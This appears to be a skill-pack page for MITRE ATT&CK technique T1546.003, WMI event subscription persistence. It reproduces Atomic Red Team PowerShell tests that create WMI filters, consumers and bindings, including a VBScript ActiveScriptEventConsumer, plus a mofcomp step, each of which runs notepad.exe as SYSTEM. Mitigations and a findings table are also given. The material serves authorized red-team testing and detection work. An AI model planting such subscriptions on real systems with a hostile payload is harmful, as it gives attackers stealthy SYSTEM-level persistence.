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Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription.
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SKILL.md を表示中
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SOC 職業分類に基づく
| name | T1546.003_windows-management-instrumentation-event-subscription |
| description | Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. |
| category | authorization |
| version | 18.1 |
| author | cyberstrike-official |
| tags | ["mitre-attack","enterprise","t1546.003","privilege-escalation","persistence","windows","sub-technique"] |
| technique_id | T1546.003 |
| tactic | privilege-escalation |
| all_tactics | ["privilege-escalation","persistence"] |
| platforms | ["Windows"] |
| mitre_url | https://attack.mitre.org/techniques/T1546/003 |
| tech_stack | ["windows"] |
| cwe_ids | ["CWE-269"] |
| chains_with | ["T1546","T1546.001","T1546.002","T1546.004","T1546.005","T1546.006","T1546.007","T1546.008","T1546.009","T1546.010","T1546.011","T1546.012","T1546.013","T1546.014","T1546.015","T1546.016","T1546.017","T1546.018"] |
| prerequisites | ["T1546"] |
| severity_boost | {"T1546":"Chain with T1546 for deeper attack path","T1546.001":"Chain with T1546.001 for deeper attack path","T1546.002":"Chain with T1546.002 for deeper attack path"} |
Sub-technique of: T1546
Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Examples of events that may be subscribed to are the wall clock time, user login, or the computer's uptime.
Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. Adversaries may also compile WMI scripts – using mofcomp.exe –into Windows Management Object (MOF) files (.mof extension) that can be used to create a malicious subscription.
WMI subscription execution is proxied by the WMI Provider Host process (WmiPrvSe.exe) and thus may result in elevated SYSTEM privileges.
Platforms: Windows
The following tests are from Atomic Red Team and provide actionable ways to test this technique:
Run from an administrator powershell window. After running, reboot the victim machine. After it has been online for 4 minutes you should see notepad.exe running as SYSTEM.
Code references
https://gist.github.com/mattifestation/7fe1df7ca2f08cbfa3d067def00c01af
Supported Platforms: windows Yes
$FilterArgs = @{name='AtomicRedTeam-WMIPersistence-CommandLineEventConsumer-Example';
EventNameSpace='root\CimV2';
QueryLanguage="WQL";
Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"};
$Filter=New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property $FilterArgs
$ConsumerArgs = @{name='AtomicRedTeam-WMIPersistence-CommandLineEventConsumer-Example';
CommandLineTemplate="$($Env:SystemRoot)\System32\notepad.exe";}
$Consumer=New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property $ConsumerArgs
$FilterToConsumerArgs = @{
Filter = [Ref] $Filter;
Consumer = [Ref] $Consumer;
}
$FilterToConsumerBinding = New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property $FilterToConsumerArgs
Run from an administrator powershell window. After running, reboot the victim machine. After it has been online for 4 minutes you should see notepad.exe running as SYSTEM.
Code references
Supported Platforms: windows Elevation Required: Yes
$FilterArgs = @{name='AtomicRedTeam-WMIPersistence-ActiveScriptEventConsumer-Example';
EventNameSpace='root\CimV2';
QueryLanguage="WQL";
Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"};
$Filter=Set-WmiInstance -Class __EventFilter -Namespace "root\subscription" -Arguments $FilterArgs
$ConsumerArgs = @{name='AtomicRedTeam-WMIPersistence-ActiveScriptEventConsumer-Example';
ScriptingEngine='VBScript';
ScriptText='
Set objws = CreateObject("Wscript.Shell")
objws.Run "notepad.exe", 0, True
'}
$Consumer=Set-WmiInstance -Namespace "root\subscription" -Class ActiveScriptEventConsumer -Arguments $ConsumerArgs
$FilterToConsumerArgs = @{
Filter = $Filter;
Consumer = $Consumer;
}
$FilterToConsumerBinding = Set-WmiInstance -Namespace 'root/subscription' -Class '__FilterToConsumerBinding' -Arguments $FilterToConsumerArgs
The following Atomic will utilize MOFComp.exe to load a local MOF file. The Managed Object Format (MOF) compiler parses a file containing MOF statements and adds the classes and class instances defined in the file to the WMI repository. To query for the class: gwmi __eventfilter -namespace root\subscription A successful execution will add the class to WMI root namespace. Reference: https://pentestlab.blog/2020/01/21/persistence-wmi-event-subscription/ and https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/.
Supported Platforms: windows
#{mofcomp_path} "#{mof_file}"
Dependencies:
If Atomic Red Team tests are not applicable, manually verify the technique by:
Identify Attack Surface: Determine if the target environment is susceptible to Windows Management Instrumentation Event Subscription by examining the target platforms (Windows).
Assess Existing Defenses: Review whether mitigations for T1546.003 are in place. If defenses are absent or misconfigured, this technique may be exploitable.
Execute Test: Use tools and methods described in the MITRE ATT&CK page and external references below.
By default, only administrators are allowed to connect remotely using WMI; restrict other users that are allowed to connect, or disallow all users from connecting remotely to WMI.
Prevent credential overlap across systems of administrator and privileged accounts.
On Windows 10, enable Attack Surface Reduction (ASR) rules to prevent malware from abusing WMI to attain persistence.
| Finding | Severity | Impact |
|---|---|---|
| Windows Management Instrumentation Event Subscription technique applicable | High | Privilege Escalation |
| CWE ID | Title |
|---|---|
| CWE-269 | Improper Privilege Management |